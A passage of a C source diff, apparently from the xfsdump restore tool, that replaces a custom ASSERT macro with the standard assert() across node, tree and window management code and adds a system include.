fd, * reasonable cap on the max number of segments. */ - ASSERT( NODESPERSEG_MIN >= pgsz ); + assert( NODESPERSEG_MIN >= pgsz ); if ( vmsz < WINMAP_MIN * NODESPERSEG_MIN * nodesz ) { mlog( MLOG_NORMAL | MLOG_ERROR, _( @@ -331,10 +332,10 @@ node_init( intgen_t fd, /* map the abstraction header */ - ASSERT( ( NODE_HDRSZ & pgmask ) == 0 ); - ASSERT( ! ( NODE_HDRSZ % pgsz )); - ASSERT( off <= OFF64MAX ); - ASSERT( ! ( off % ( off64_t )pgsz )); + assert( ( NODE_HDRSZ & pgmask ) == 0 ); + assert( ! ( NODE_HDRSZ % pgsz )); + assert( off <= OFF64MAX ); + assert( ! ( off % ( off64_t )pgsz )); node_hdrp = ( node_hdr_t * )mmap_autogrow( NODE_HDRSZ, fd, @@ -394,13 +395,13 @@ node_sync( intgen_t fd, off64_t off ) { /* sanity checks */ - ASSERT( sizeof( node_hdr_t ) <= NODE_HDRSZ ); + assert( sizeof( node_hdr_t ) <= NODE_HDRSZ ); /* map the abstraction header */ - ASSERT( ( NODE_HDRSZ & pgmask ) == 0 ); - ASSERT( off <= ( off64_t )OFF64MAX ); - ASSERT( ! ( off % ( off64_t )pgsz )); + assert( ( NODE_HDRSZ & pgmask ) == 0 ); + assert( off <= ( off64_t )OFF64MAX ); + assert( ! ( off % ( off64_t )pgsz )); node_hdrp = ( node_hdr_t * )mmap_autogrow( NODE_HDRSZ, fd, @@ -454,8 +455,8 @@ node_alloc( void ) hkpp = p + node_hdrp->nh_nodehkix; gen = ( u_char_t )( HKPGETGEN( *p ) + ( u_char_t )1 ); unq = HKPGETUNQ( *hkpp ); - ASSERT( unq != NODEUNQALCD ); - ASSERT( unq == NODEUNQFREE ); + assert( unq != NODEUNQALCD ); + assert( unq == NODEUNQFREE ); #endif /* NODECHK */ /* adjust the free list */ @@ -473,7 +474,7 @@ node_alloc( void ) ( off64_t )nh2segix( node_hdrp->nh_virgnh ) * ( off64_t )node_hdrp->nh_segsz; - ASSERT( new_seg_off + assert( new_seg_off <= OFF64MAX - ( off64_t )node_hdrp->nh_segsz ); mlog( MLOG_DEBUG, @@ -531,7 +532,7 @@ node_map( nh_t nh ) register u_char_t nodeunq; #endif /* NODECHK */ - ASSERT( nh != NH_NULL ); + assert( nh != NH_NULL ); /* convert the handle into an index */ @@ -540,7 +541,7 @@ node_map( nh_t nh ) nh = HDLGETNHDL( nh ); #endif /* NODECHK */ - ASSERT( nh <= NH_MAX ); + assert( nh <= NH_MAX ); /* map in */ @@ -553,9 +554,9 @@ node_map( nh_t nh ) hkp = *( p + node_hdrp->nh_nodehkix ); nodegen = HKPGETGEN( hkp ); nodeunq = HKPGETUNQ( hkp ); - ASSERT( nodegen == hdlgen ); - ASSERT( nodeunq != NODEUNQFREE ); - ASSERT( nodeunq == NODEUNQALCD ); + assert( nodegen == hdlgen ); + assert( nodeunq != NODEUNQFREE ); + assert( nodeunq == NODEUNQALCD ); #endif /* NODECHK */ return ( void * )p; @@ -580,9 +581,9 @@ node_free( nh_t *nhp ) register u_char_t nodeunq; #endif /* NODECHK */ - ASSERT( nhp ); + assert( nhp ); nh = *nhp; - ASSERT( nh != NH_NULL ); + assert( nh != NH_NULL ); /* convert the handle into an index */ @@ -591,7 +592,7 @@ node_free( nh_t *nhp ) nh = HDLGETNHDL( nh ); #endif /* NODECHK */ - ASSERT( nh <= NH_MAX ); + assert( nh <= NH_MAX ); /* map in */ @@ -607,9 +608,9 @@ node_free( nh_t *nhp ) hkpp = p + node_hdrp->nh_nodehkix; nodegen = HKPGETGEN( *hkpp ); nodeunq = HKPGETUNQ( *hkpp ); - ASSERT( nodegen == hdlgen ); - ASSERT( nodeunq != NODEUNQFREE ); - ASSERT( nodeunq == NODEUNQALCD ); + assert( nodegen == hdlgen ); + assert( nodeunq != NODEUNQFREE ); + assert( nodeunq == NODEUNQALCD ); *hkpp = HKPMKHKP( nodegen, NODEUNQFREE ); #endif /* NODECHK */ diff --git a/restore/tree.c b/restore/tree.c index 08e177f..d377590 100644 --- a/restore/tree.c +++ b/restore/tree.c @@ -28,6 +28,7 @@ #include #include #include +#include #include "types.h" #include "exit.h" @@ -351,16 +352,16 @@ tree_init( char *hkdir, /* sanity checks */ - ASSERT( ! ( PERSSZ % pgsz )); - ASSERT( sizeof( persp ) <= PERSSZ ); - ASSERT( sizeof( node_t ) <= NODESZ ); - ASSERT( ! persp ); - ASSERT( ! tranp ); + assert( ! ( PERSSZ % pgsz )); + assert( sizeof( persp ) <= PERSSZ ); + assert( sizeof( node_t ) <= NODESZ ); + assert( ! persp ); + assert( ! tranp ); /* allocate transient state */ tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); - ASSERT( tranp ); + assert( tranp ); tranp->t_toconlypr = toconlypr; tranp->t_hkdir = hkdir; @@ -425,7 +426,7 @@ tree_init( char *hkdir, /* mmap the persistent state */ - ASSERT( ! ( PERSSZ % pgsz )); + assert( ! ( PERSSZ % pgsz )); persp = ( treepers_t * ) mmap_autogrow( PERSSZ, tranp->t_persfd, @@ -450,9 +451,9 @@ tree_init( char *hkdir, * begin immediately after the hash abstraction. give it the remainder * of vm. */ - ASSERT( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); + assert( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); nodeoff = ( off64_t )PERSSZ + ( off64_t )persp->p_hashsz; - ASSERT( vmsz > ( size64_t )nodeoff ); + assert( vmsz > ( size64_t )nodeoff ); ok = node_init( tranp->t_persfd, nodeoff, NODESZ, @@ -539,16 +540,16 @@ tree_sync( char *hkdir, /* sanity checks */ - ASSERT( ! ( PERSSZ % pgsz )); - ASSERT( sizeof( persp ) <= PERSSZ ); - ASSERT( sizeof( node_t ) <= NODESZ ); - ASSERT( ! persp ); - ASSERT( ! tranp ); + assert( ! ( PERSSZ % pgsz )); + assert( sizeof( persp ) <= PERSSZ ); + assert( sizeof( node_t ) <= NODESZ ); + assert( ! persp ); + assert( ! tranp ); /* allocate transient state */ tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); - ASSERT( tranp ); + assert( tranp ); tranp->t_toconlypr = toconlypr; tranp->t_hkdir = hkdir; @@ -600,7 +601,7 @@ tree_sync( char *hkdir, /* mmap the persistent state */ - ASSERT( ! ( PERSSZ % pgsz )); + assert( ! ( PERSSZ % pgsz )); persp = ( treepers_t * ) mmap_autogrow( PERSSZ, tranp->t_persfd, @@ -637,7 +638,7 @@ tree_sync( char *hkdir, /* synchronize with the node abstraction. */ - ASSERT( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); + assert( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); nodeoff = ( off64_t )PERSSZ + ( off64_t )persp->p_hashsz; ok = node_sync( tranp->t_persfd, nodeoff ); if ( ! ok ) { @@ -687,7 +688,7 @@ tree_marknoref( void ) node_t *orphp; orphp = Node_map( persp->p_orphh ); orphp->n_flags |= ( NF_REFED | NF_DUMPEDDIR ); - ASSERT( orphp->n_dah == DAH_NULL ); + assert( orphp->n_dah == DAH_NULL ); Node_unmap( persp->p_orphh, &orphp ); } } @@ -740,12 +741,12 @@ tree_begindir( filehdr_t *fhdrp, dah_t *dahp ) /* sanity check - orphino is supposed to be an unused ino! */ - ASSERT( ino != orphino ); + assert( ino != orphino ); /* lookup head of hardlink list */ hardh = link_hardh( ino, gen ); - ASSERT( ino != persp->p_rootino || hardh == persp->p_rooth ); + assert( ino != persp->p_rootino || hardh == persp->p_rooth ); /* already present */ @@ -762,7 +763,7 @@ tree_begindir( filehdr_t *fhdrp, dah_t *dahp ) gen, fhdrp->fh_stat.bs_gen ); if ( ! tranp->t_toconlypr ) { - ASSERT( hardp->n_dah == DAH_NULL ); + assert( hardp->n_dah == DAH_NULL ); hardp->n_dah = dirattr_add( fhdrp ); } } else if ( ! tranp->t_toconlypr && hardp->n_dah == DAH_NULL ) { @@ -829,7 +830,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) /* sanity check - orphino is supposed to be an unused ino! */ - ASSERT( ino != orphino ); + assert( ino != orphino ); /* don't allow entries named "orphanage" under root to be added */ @@ -885,7 +886,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) return RV_ERROR; } if ( hardp->n_lnkh != NH_NULL ) { - ASSERT( hardp->n_flags & NF_REAL ); + assert( hardp->n_flags & NF_REAL ); renameh = hardp->n_lnkh; renamep = Node_map( renameh ); if ( renamep->n_parh == NH_NULL ) { @@ -912,7 +913,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) namreg_get( renamep->n_nrh, tranp->t_namebuf, sizeof( tranp->t_namebuf )); - ASSERT( namebuflen > 0 ); + assert( namebuflen > 0 ); if ( strcmp( name, tranp->t_namebuf )) { mlog( MLOG_DEBUG @@ -944,10 +945,10 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) nrh_t nrh; hardp->n_flags &= ~NF_NEWORPH; - ASSERT( hardp->n_nrh == NRH_NULL ); - ASSERT( hardp->n_parh != NH_NULL ); + assert( hardp->n_nrh == NRH_NULL ); + assert( hardp->n_parh != NH_NULL ); nrh = disown( hardh ); - ASSERT( nrh == NRH_NULL ); + assert( nrh == NRH_NULL ); nrh = namreg_add( name, namelen ); adopt( parh, hardh, nrh ); mlog( MLOG_DEBUG | MLOG_TREE, @@ -958,13 +959,13 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) gen ); } } else { - ASSERT( hardp->n_nrh != NRH_NULL ); + assert( hardp->n_nrh != NRH_NULL ); namebuflen = namreg_get( hardp->n_nrh, tranp->t_namebuf, sizeof( tranp->t_namebuf )); - ASSERT( namebuflen > 0 ); + assert( namebuflen > 0 ); if ( hardp->n_parh == parh && ! strcmp( tranp->t_namebuf, name )) { @@ -1021,7 +1022,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) Node_unmap( renameh, &renamep ); } renamep = Node_map( renameh ); - ASSERT( hardp->n_parh != NH_NULL ); + assert( hardp->n_parh != NH_NULL ); if ( hardp->n_parh != parh ) { /* different parent */ @@ -1220,7 +1221,7 @@ tree_post( char *path1, char *path2 ) } #ifdef TREE_CHK - ASSERT( tree_chk( )); + assert( tree_chk( )); #endif /* TREE_CHK */ /* rename directories @@ -1238,7 +1239,7 @@ tree_post( char *path1, char *path2 ) } #ifdef TREE_CHK - ASSERT( tree_chk( )); + assert( tree_chk( )); #endif /* TREE_CHK */ /* process hard links @@ -1321,7 +1322,7 @@ noref_elim_recurse( nh_t parh, if ( ! isrefpr ) { nrh_t nrh; - ASSERT( ! isrenamepr ); + assert( ! isrenamepr ); if ( isrealpr ) { ok = Node2path( cldh, path1, _("rmdir") ); if ( ! ok ) { @@ -1346,7 +1347,7 @@ noref_elim_recurse( nh_t parh, } } nrh = disown( cldh ); - ASSERT( nrh != NRH_NULL ); + assert( nrh != NRH_NULL ); namreg_del( nrh ); link_out( cldh ); Node_free( &cldh ); @@ -1356,8 +1357,8 @@ noref_elim_recurse( nh_t parh, nrh_t nrh; node_t *renamep; - ASSERT( isrefpr ); - ASSERT( isrealpr ); + assert( isrefpr ); + assert( isrealpr ); ok = Node2path( cldh, path1, _("tmp dir rename src") ); @@ -1366,7 +1367,7 @@ noref_elim_recurse( nh_t parh, continue; } nrh = disown( cldh ); - ASSERT( nrh != NRH_NULL ); + assert( nrh != NRH_NULL ); adopt( persp->p_orphh, cldh, NRH_NULL ); ok = Node2path( cldh, path2, @@ -1375,7 +1376,7 @@ noref_elim_recurse( nh_t parh, /* REFERENCED */ nrh_t dummynrh; dummynrh = disown( cldh ); - ASSERT( dummynrh == NRH_NULL ); + assert( dummynrh == NRH_NULL ); adopt( parh, cldh, nrh ); cldh = nextcldh; continue; @@ -1395,7 +1396,7 @@ noref_elim_recurse( nh_t parh, path2, strerror( errno )); dummynrh = disown( cldh ); - ASSERT( dummynrh == NRH_NULL ); + assert( dummynrh == NRH_NULL ); adopt( parh, cldh, nrh ); cldh = nextcldh; continue; @@ -1436,7 +1437,7 @@ noref_elim_recurse( nh_t parh, nh_t hardh; bool_t neededpr; hardh = link_hardh( ino, gen ); - ASSERT( hardh != NH_NULL ); + assert( hardh != NH_NULL ); canunlinkpr = BOOL_FALSE; neededpr = BOOL_FALSE; /* tes@sgi.com: @@ -1475,7 +1476,7 @@ noref_elim_recurse( nh_t parh, if ( mustorphpr ) { /* rename file to orphanage */ nrh_t nrh; - ASSERT( ! canunlinkpr ); + assert( ! canunlinkpr ); ok = Node2path( cldh, path1, _("tmp nondir rename src") ); @@ -1484,7 +1485,7 @@ noref_elim_recurse( nh_t parh, continue; } nrh = disown( cldh ); - ASSERT( nrh != NRH_NULL ); + assert( nrh != NRH_NULL ); adopt( persp->p_orphh, cldh, NRH_NULL ); ok = Node2path( cldh, path2, @@ -1493,7 +1494,7 @@ noref_elim_recurse( nh_t parh, /* REFERENCED */ nrh_t dummynrh; dummynrh = disown( cldh ); - ASSERT( dummynrh == NRH_NULL ); + assert( dummynrh == NRH_NULL ); adopt( parh, cldh, nrh ); cldh = nextcldh; continue; @@ -1513,7 +1514,7 @@ noref_elim_recurse( nh_t parh, path2, strerror( errno )); dummynrh = disown( cldh ); - ASSERT( dummynrh == NRH_NULL ); + assert( dummynrh == NRH_NULL ); adopt( parh, cldh, nrh ); cldh = nextcldh; continue; @@ -1527,7 +1528,7 @@ noref_elim_recurse( nh_t parh, /* REFERENCED */ nrh_t nrh; - ASSERT( ! mustorphpr ); + assert( ! mustorphpr ); if ( isrealpr ) { ok = Node2path( cldh, path1, _("rmdir") ); if ( ! ok ) { @@ -1553,7 +1554,7 @@ noref_elim_recurse( nh_t parh, } } nrh = disown( cldh ); - ASSERT( nrh != NRH_NULL ); + assert( nrh != NRH_NULL ); link_out( cldh ); Node_free( &cldh ); } @@ -1662,7 +1663,7 @@ rename_dirs( nh_t cldh, isrenamepr = isdirpr && renameh != NH_NULL; nextcldh = cldp->n_sibh; Node_unmap( cldh, &cldp ); - ASSERT( parh == persp->p_orphh ); + assert( parh == persp->p_orphh ); if ( isrenamepr ) { node_t *renamep; @@ -1681,12 +1682,12 @@ rename_dirs( nh_t cldh, continue; } dummynrh = disown( cldh ); - ASSERT( dummynrh == NRH_NULL ); + assert( dummynrh == NRH_NULL ); adopt( newparh, cldh, newnrh ); ok = Node2path( cldh, path2, _("rename dir") ); if ( ! ok ) { dummynrh = disown( cldh ); - ASSERT( dummynrh == newnrh ); + assert( dummynrh == newnrh ); adopt( persp->p_orphh, cldh, NRH_NULL ); cldp = Node_map( cldh ); cldp->n_nrh = NRH_NULL; @@ -1707,7 +1708,7 @@ rename_dirs( nh_t cldh, path2, strerror( errno )); dummynrh = disown( cldh ); - ASSERT( dummynrh == newnrh ); + assert( dummynrh == newnrh ); adopt( persp->p_orphh, cldh, NRH_NULL ); cldh = nextcldh; continue; @@ -1964,7 +1965,7 @@ tree_cb_links( xfs_ino_t ino, link_in( nh ); adopt( persp->p_orphh, nh, NRH_NULL ); ok = Node2path( nh, path1, _("orphan") ); - ASSERT( ok ); + assert( ok ); ( void )( * funcp )( contextp, BOOL_FALSE, path1,path2); } } @@ -2271,7 +2272,7 @@ proc_hardlinks_cb( void *contextp, nh_t hardheadh ) } continue; } - ASSERT( 0 ); + assert( 0 ); } /* now pass through dst list, doing renames if src list not empty, @@ -2700,7 +2701,7 @@ restart: preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); /* execute commands until time to extract or quit. always begin with @@ -2736,9 +2737,9 @@ restart: } else if ( responseix == abortix ) { ackstr[ ackcnt++ ] = _("abort\n"); } else { - ASSERT( responseix == okix ); + assert( responseix == okix ); } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_string_ack( ackstr, ackcnt ); @@ -2753,7 +2754,7 @@ restart: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); /* if sighup or sigquit, immediately quit @@ -2765,7 +2766,7 @@ restart: /* if sigint, allow main thread to decide if * operator really wants to quit */ - ASSERT( responseix == sigintix ); + assert( responseix == sigintix ); if ( cldmgr_stop_requested( )) { return BOOL_FALSE; } @@ -2794,7 +2795,7 @@ restart: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); /* pv 773569 - quit is not a reason to consider session @@ -2846,7 +2847,7 @@ tsi_cmd_pwd_recurse( void *ctxp, register intgen_t namelen; nrh_t nrh; - ASSERT( nh != NH_NULL ); + assert( nh != NH_NULL ); np = Node_map( nh ); nrh = np->n_nrh; @@ -2857,11 +2858,11 @@ tsi_cmd_pwd_recurse( void *ctxp, /* RECURSION */ ( * pcb )( pctxp, "/" ); } - ASSERT( nrh != NRH_NULL ); + assert( nrh != NRH_NULL ); namelen = namreg_get( nrh, tranp->t_inter.i_name, sizeof( tranp->t_inter.i_name )); - ASSERT( namelen > 0 ); + assert( namelen > 0 ); ( * pcb )( pctxp, tranp->t_inter.i_name ); } @@ -2933,7 +2934,7 @@ tsi_cmd_ls( void *ctxp, namelen = namreg_get( nrh, tranp->t_inter.i_name, sizeof( tranp->t_inter.i_name )); - ASSERT( namelen > 0 ); + assert( namelen > 0 ); ( * pcb )( pctxp, " %s %10llu %s%s\n", isselpr ? "*" : " ", @@ -2983,7 +2984,7 @@ tsi_cmd_cd( void *ctxp, /* if named is not a dir, complain */ if ( ! isdirpr ) { - ASSERT( arg ); + assert( arg ); ( * pcb )( pctxp, _("%s is not a directory\n"), arg ); @@ -3152,7 +3153,7 @@ tsi_cmd_match( void ) return 0; } - ASSERT( tblp->tct_argcmin != 0 ); + assert( tblp->tct_argcmin != 0 ); if ( tranp->t_inter.i_argc < tblp->tct_argcmin ) { return 0; } @@ -3224,11 +3225,11 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, * or at the current working directory */ if ( path && *path == '/' ) { - ASSERT( rooth != NH_NULL ); + assert( rooth != NH_NULL ); namedh = rooth; path++; } else { - ASSERT( cwdh != NH_NULL ); + assert( cwdh != NH_NULL ); namedh = cwdh; } @@ -3239,7 +3240,7 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, cldh = namedp->n_cldh; ino = namedp->n_ino; isselpr = ( namedp->n_flags & NF_SUBTREE ); - ASSERT( namedp->n_flags & NF_ISDIR ); + assert( namedp->n_flags & NF_ISDIR ); Node_unmap( namedh, &namedp ); isdirpr = BOOL_TRUE; @@ -3278,12 +3279,12 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, * the path pointer. */ namelen = strcspn( path, "/" ); - ASSERT( namelen < sizeof( nbuf )); + assert( namelen < sizeof( nbuf )); strncpy( nbuf, path, namelen ); nbuf[ namelen ] = 0; path += namelen; if ( *path ) { - ASSERT( *path == '/' ); + assert( *path == '/' ); strpatchp = path; *strpatchp = 0; path++; @@ -3353,12 +3354,12 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, isselpr = ( sibp->n_flags & NF_SUBTREE ); isdirpr = ( sibp->n_flags & NF_ISDIR ); Node_unmap( sibh, &sibp ); - ASSERT( nrh != NRH_NULL || sibh == persp->p_orphh ); + assert( nrh != NRH_NULL || sibh == persp->p_orphh ); if ( nrh != NRH_NULL ) { siblen = namreg_get( nrh, tranp->t_inter.i_name, sizeof( tranp->t_inter.i_name )); - ASSERT( siblen > 0 ); + assert( siblen > 0 ); if ( ! strcmp( nbuf, tranp->t_inter.i_name )) { break; } @@ -3523,7 +3524,7 @@ Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) /* if we have a cache hit, no need to recurse any further */ if ( nh == cache.nh ) { - ASSERT( bufsz > cache.len ); + assert( bufsz > cache.len ); strcpy( buf, cache.buf ); return bufsz - cache.len; } @@ -3550,7 +3551,7 @@ Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) /* insert slash if parent not root */ if ( parh != persp->p_rooth ) { - ASSERT( bufsz + MAXPATHLEN >= 2 ); + assert( bufsz + MAXPATHLEN >= 2 ); *buf++ = '/'; *( buf + 1 ) = 0; bufsz--; @@ -3566,15 +3567,15 @@ Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) } else if ( nh == persp->p_orphh ) { namelen = sprintf( buf, "%s", orphname ); } else { - ASSERT( nrh != NRH_NULL ); + assert( nrh != NRH_NULL ); namelen = namreg_get( nrh, buf, ( size_t )bufsz + MAXPATHLEN ); - ASSERT( namelen > 0 ); + assert( namelen > 0 ); } /* update remaining buffer size */ bufsz -= namelen; - ASSERT( bufsz + MAXPATHLEN > 0 ); + assert( bufsz + MAXPATHLEN > 0 ); /* update the cache if we're the target's parent * (and the pathname is not too long) @@ -3639,7 +3640,7 @@ disown( nh_t cldh ) nrh = cldp->n_nrh; parh = cldp->n_parh; - ASSERT( parh != NH_NULL ); + assert( parh != NH_NULL ); if ( parh == NH_NULL ) { mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_TREE, _( "attempt to disown child " @@ -3647,7 +3648,7 @@ disown( nh_t cldh ) return nrh; } parp = Node_map( parh ); - ASSERT( parp->n_cldh != NH_NULL ); + assert( parp->n_cldh != NH_NULL ); if ( parp->n_cldh == NH_NULL ) { mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_TREE, _( "attempt to disown child " @@ -3668,7 +3669,7 @@ disown( nh_t cldh ) nh_t prevcldh = cldp->n_sibprevh; node_t *prevcldp; - ASSERT(prevcldh != NH_NULL); /* must be a previous */ + assert(prevcldh != NH_NULL); /* must be a previous */ prevcldp = Node_map( prevcldh ); /* fix up previous */ @@ -3865,7 +3866,7 @@ link_matchh( nh_t hardh, nh_t parh, char *name ) namelen = namreg_get( np->n_nrh, tranp->t_namebuf, sizeof( tranp->t_namebuf )); - ASSERT( namelen > 0 ); + assert( namelen > 0 ); if ( ! strcmp( name, tranp->t_namebuf )) { Node_unmap( hardh, &np ); break; @@ -3955,7 +3956,7 @@ link_out( nh_t nh ) /* get head of hard link list */ hardh = hash_find( ino, gen ); - ASSERT( hardh != NH_NULL ); + assert( hardh != NH_NULL ); /* if node is at head of hard link list, hash it out and * hash in the following node in link list, if there is one. @@ -3973,7 +3974,7 @@ link_out( nh_t nh ) nh_t nexth = prevp->n_lnkh; Node_unmap( prevh, &prevp ); prevh = nexth; - ASSERT( prevh != NH_NULL ); + assert( prevh != NH_NULL ); prevp = Node_map( prevh ); } prevp->n_lnkh = np->n_lnkh; @@ -4033,7 +4034,7 @@ link_iter_next( link_iter_context_t *link_iter_contextp ) /* if no last, must be first call */ if ( tmplasth == NH_NULL ) { - ASSERT( link_iter_contextp->li_prevh == NH_NULL ); + assert( link_iter_contextp->li_prevh == NH_NULL ); link_iter_contextp->li_lasth = link_iter_contextp->li_headh; return link_iter_contextp->li_lasth; } @@ -4065,8 +4066,8 @@ link_iter_unlink( link_iter_context_t *link_iter_contextp, nh_t nh ) /* sanity checks */ - ASSERT( link_iter_contextp->li_lasth != NH_NULL ); - ASSERT( nh == link_iter_contextp->li_lasth ); + assert( link_iter_contextp->li_lasth != NH_NULL ); + assert( nh == link_iter_contextp->li_lasth ); /* get the next node in list */ @@ -4076,7 +4077,7 @@ link_iter_unlink( link_iter_context_t *link_iter_contextp, nh_t nh ) Node_unmap( link_iter_contextp->li_lasth, &lastp ); if ( link_iter_contextp->li_lasth == link_iter_contextp->li_headh ) { - ASSERT( link_iter_contextp->li_prevh == NH_NULL ); + assert( link_iter_contextp->li_prevh == NH_NULL ); hash_out( link_iter_contextp->li_headh ); link_iter_contextp->li_headh = nexth; if ( nexth != NH_NULL ) { @@ -4084,7 +4085,7 @@ link_iter_unlink( link_iter_context_t *link_iter_contextp, nh_t nh ) } } else { node_t *prevp; - ASSERT( link_iter_contextp->li_prevh != NH_NULL ); + assert( link_iter_contextp->li_prevh != NH_NULL ); prevp = Node_map( link_iter_contextp->li_prevh ); prevp->n_lnkh = nexth; Node_unmap( link_iter_contextp->li_prevh, &prevp ); @@ -4112,7 +4113,7 @@ hash_init( size64_t vmsz, /* sanity checks */ - ASSERT( pgsz % sizeof( nh_t ) == 0 ); + assert( pgsz % sizeof( nh_t ) == 0 ); /* calculate the size of the hash array. must be a power of two, * and a multiple of the page size. don't use more than the available @@ -4130,11 +4131,11 @@ hash_init( size64_t vmsz, ; loghashlen++ ) ; - ASSERT( loghashlen > 0 ); + assert( loghashlen > 0 ); hashlen = ( size64_t )1 << loghashlen; if (hashlen > hashlenmax) hashlen >>= 1; - ASSERT( hashlen <= hashlenmax ); + assert( hashlen <= hashlenmax ); /* record hash size in persistent state */ @@ -4142,9 +4143,9 @@ hash_init( size64_t vmsz, /* map the hash array just after the persistent state header */ - ASSERT( persp->p_hashsz <= SIZEMAX ); - ASSERT( ! ( persp->p_hashsz % ( size64_t )pgsz )); - ASSERT( ! ( PERSSZ % pgsz )); + assert( persp->p_hashsz <= SIZEMAX ); + assert( ! ( persp->p_hashsz % ( size64_t )pgsz )); + assert( ! ( PERSSZ % pgsz )); tranp->t_hashp = ( nh_t * ) mmap_autogrow( ( size_t )persp->p_hashsz, tranp->t_persfd, @@ -4166,7 +4167,7 @@ hash_init( size64_t vmsz, /* build a hash mask. this works because hashlen is a power of two. * record in persistent state. */ - ASSERT( hashlen - 1 <= SIZEMAX ); + assert( hashlen - 1 <= SIZEMAX ); persp->p_hashmask = ( size_t )( hashlen - 1 ); return BOOL_TRUE; @@ -4179,18 +4180,18 @@ hash_sync( char *perspath ) /* sanity checks */ - ASSERT( pgsz % sizeof( nh_t ) == 0 ); + assert( pgsz % sizeof( nh_t ) == 0 ); /* retrieve the hash size from the persistent state */ hashsz = persp->p_hashsz; - ASSERT( ! ( hashsz % sizeof( nh_t ))); + assert( ! ( hashsz % sizeof( nh_t ))); /* map the hash array just after the persistent state header */ - ASSERT( hashsz <= SIZEMAX ); - ASSERT( ! ( hashsz % ( size64_t )pgsz )); - ASSERT( ! ( PERSSZ % pgsz )); + assert( hashsz <= SIZEMAX ); + assert( ! ( hashsz % ( size64_t )pgsz )); + assert( ! ( PERSSZ % pgsz )); tranp->t_hashp = ( nh_t * ) mmap_autogrow( ( size_t )hashsz, tranp->t_persfd, @@ -4236,7 +4237,7 @@ hash_in( nh_t nh ) /* assert not already in */ - ASSERT( hash_find( np->n_ino, np->n_gen ) == NH_NULL ); + assert( hash_find( np->n_ino, np->n_gen ) == NH_NULL ); /* calculate the hash index */ @@ -4248,7 +4249,7 @@ hash_in( nh_t nh ) /* insert into the list, at the head */ - ASSERT( np->n_hashh == NH_NULL ); + assert( np->n_hashh == NH_NULL ); np->n_hashh = *entryp; *entryp = nh; @@ -4282,7 +4283,7 @@ hash_out( nh_t nh ) /* get the handle of the first node in the appropriate hash array */ hashheadh = *entryp; - ASSERT( hashheadh != NH_NULL ); + assert( hashheadh != NH_NULL ); /* if node is first in list, replace entry with following node. * otherwise, walk the list until found. @@ -4296,7 +4297,7 @@ hash_out( nh_t nh ) nh_t nexth = prevp->n_hashh; Node_unmap( prevh, &prevp ); prevh = nexth; - ASSERT( prevh != NH_NULL ); + assert( prevh != NH_NULL ); prevp = Node_map( prevh ); } prevp->n_hashh = np->n_hashh; @@ -4412,11 +4413,11 @@ Node_chk( nh_t nh, nh_t *nexthashhp, nh_t *nextlnkhp ) *nexthashhp = NH_NULL; } - ASSERT( nextlnkhp ); + assert( nextlnkhp ); *nextlnkhp = NH_NULL; np = Node_map( nh ); - ASSERT( np ); + assert( np ); n = *np; Node_unmap( nh, &np ); @@ -4456,7 +4457,7 @@ Node_chk( nh_t nh, nh_t *nexthashhp, nh_t *nextlnkhp ) if ( n.n_nrh != NRH_NULL ) { intgen_t rval; rval = namreg_get( n.n_nrh, nambuf, sizeof( nambuf )); - ASSERT( rval >= 0 ); + assert( rval >= 0 ); } if ( n.n_dah != DAH_NULL ) { @@ -4539,7 +4540,7 @@ tree_chk2_recurse( nh_t cldh, nh_t parh ) { bool_t okaccum = BOOL_TRUE; - ASSERT( parh != NH_NULL ); + assert( parh != NH_NULL ); while ( cldh != NH_NULL ) { node_t *cldp; @@ -4569,7 +4570,7 @@ tree_chk2_recurse( nh_t cldh, nh_t parh ) namelen = namreg_get( nrh, tranp->t_namebuf, sizeof( tranp->t_namebuf )); - ASSERT( namelen >= 0 ); + assert( namelen >= 0 ); } if ( nodeparh == NH_NULL ) { @@ -4631,7 +4632,7 @@ parse( int slotcnt, char **slotbuf, char *string ) /* sanity checkcs */ - ASSERT( slotcnt >= 0 ); + assert( slotcnt >= 0 ); /* allocate a companion to the input string for identifying * characters which are to be interpreted literally. diff --git a/restore/win.c b/restore/win.c index 0f3b573..a9f0239 100644 --- a/restore/win.c +++ b/restore/win.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -153,14 +154,14 @@ win_init( intgen_t fd, { /* validate parameters */ - 